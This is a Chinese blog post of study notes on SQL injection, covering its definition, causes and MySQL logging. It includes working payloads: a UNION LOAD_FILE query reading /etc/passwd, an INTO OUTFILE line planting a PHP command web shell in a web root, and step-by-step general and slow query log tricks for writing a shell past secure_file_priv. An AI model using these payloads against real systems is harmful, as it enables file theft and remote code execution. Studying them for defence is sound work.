sql注入攻击与防御第一章(笔记)

第一章 什么是sql注入

概述

SQL注入:应该用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行

自SQL数据库首次链接web起 SQL注入就已经存在了 ,它首次引起公众注意是在1998年圣诞节。

web工作原理

web应用通常包含三层

  1. 表示层(web浏览器或呈现引擎)
  2. 逻辑层(php,java,c#,asp等编程语言)
  3. 存储层(mysql、oracle、sql server等数据库)

web表示层向逻辑层层发送请求,逻辑层通过查询,更新存储层来响应该请求

SQL注入的产生过程

1.转义字符处理不当

sql数据库将单引号字符 ' 解析成代码与数据间的分隔线。单引号外面是代码,里面是数据

$sql="SELECT * FROM table WHERE field='$_GET["input"]'";
www.baidu.com/news.php?id=1’

2.类型处理不当

$SQL="SELECT * FROM table WHERE field=$_GET["userid]";

mysql提供一个名为LOAD_FILE函数。调用该函数必须拥有FILE权限

1 union ALL SELECT LOAD_FILE('/etc/passwd') --

mysql还包含一个内置命令,可以用来创建系统文件并进行写操作。

1 UNION SELECT"<? system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"

要向执行LOAD_FILE和SELECT INTO OUTFILE命令 必须拥有FILE权限

Load_file()

Into outfile

3.查询语句组装不当

4.错误处理不当

最常见的问题是将详细的内部消息(如数据库转储、错误代码等)显示给用户或攻击者

5.多个提交处理不当

6.不安全的数据库配置

  1. SQLserver使用了声名狼藉的 sa 作为数据库系统管理账户
  2. mysql使用root和anonymous用户账户
  3. Orace在创建数据库时会默认创建 SYS,SYSTEM,DBSNMP和OUTLN账户
  4. 服务器默认支持(xp_cmdshell、OPENROWSET、LOAD_FILE、ActiveX以及JAVA支持)

知识延伸-FILE权限、突破secure_file_prive getshell、mysql日志

  • 知识延伸-FILE权限

    FILE权限指的是对服务器主机上文件的访问,数据库用户拥有FILE权限才可以执行select into outfile,load data infile操作。

    secure_file_priv参数说明

    secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    mysql新特性secure_file_priv对文件读写的影响 此开关默认为null,不允许导入导出

    解决方案

    window 修改my.ini 在[mysqld]内加入secure_file_priv=
    Linux:修改my.cnf 在[mysqld]内加入secure_file_priv=

    重启即可开启

    show global variables like '%secure%’;  //查看secure-file-priv参数的值:

    ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

  • 利用日志来写shell(突破secure_file_priv是null的情况)

    1.利用慢查询日志getsell

    1.设置slow_query_log=1 启用慢查询日志

    set global slow_query_log=1;

    2.修改slow_query_log_file日志文件的绝对路径与文件名

    set global slow_query_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'

    3.通过延迟语句延迟执行才能写进日志 就成功写shell了

    select<?php phpinfo();?>or sleep(11);

     

    参考学习:https://www.cnblogs.com/c1e4r/articles/8902444.html

    2.利用查询日志getshell

    1.开启查询日志

    set global general_log='ON'

    2.设置操作记录日志路径

    set global general_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'

    3.执行sql查询日志 产生日志即可getshell

    select "<?php phpinfo();?>"

    参考学习:https://www.jianshu.com/p/2da700db961e?from=groupmessage

  • linux查看mysql日志

    进入mysql安装目录 一般 /usr/local/mysql/data

    show variables like 'general_log'; -- 查看日志是否开启
    set global general_log=on; -- 开启日志功能
    set global general_log=on; -- 开启日志功能
    set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
    show variables like 'log_output'; -- 看看日志输出类型 table或file
    set global log_output='table'; -- 设置输出类型为 table
    set global log_output='file'; -- 设置输出类型为file

    mysql日志包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志

    **错误日志:**文件通常的名称为hostname.err。其中,hostname表示服务器主机名。

    | log_error                               | ./VM-16-2-centos.err                                 | 定义错误日志
    

    更改日志位置

    [mysqld] Log_error=DIR/[filename]

    **查询日志:**询日志会记录用户的所有操作,其中还包含增删查改等信息,在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO,会影响mysql的性能的

    | general_log                             | OFF                                                  |  定义查询日志是否开启
    | general_log_file                        | /www/mysql_data/mysql-5.5.62/data/VM-16-2-centos.log |  定义查询日志文件位置
    

    **慢查询:**慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志,可以查找出哪些查询语句的执行效率很低,以便进行优化。

    | slow_query_log                          | ON                                                   | 是否开启
    | slow_query_log_file                     | mysql-slow.log                                       | 日志位置
    

    启动和设置慢查日志:

    1.通过配置文件my.cnf中的log-slow-queries选项可以开启慢查日志

    [mysqld] slow_query_log=1

    2.登陆mysql使用mysql命令执行。

    set global slow_query_log=1;

    **事务日志:**事务日志(InnoDB特有的日志)可以帮助提高事务的效率。使用事务日志,存储引擎在修改表的数据时只需要修改其内存拷贝,再把改修改行为记录到持久在硬盘上的事务日志中,而不用每次都将修改的数据本身持久到磁盘。

    **二进制日志:**二进制日志也叫作变更日志,主要用于记录修改数据或有可能引起数据改变的mysql语句,并且记录了语句发生时间、执行时长、操作的数据等等。所以说通过二进制日志可以查询mysql数据库中进行了哪些变化。

    参考学习:https://blog.51cto.com/pangge/1319304

 

posted @ 2021-03-01 21:29  笑花大王  阅读(325)  评论(0编辑  收藏  举报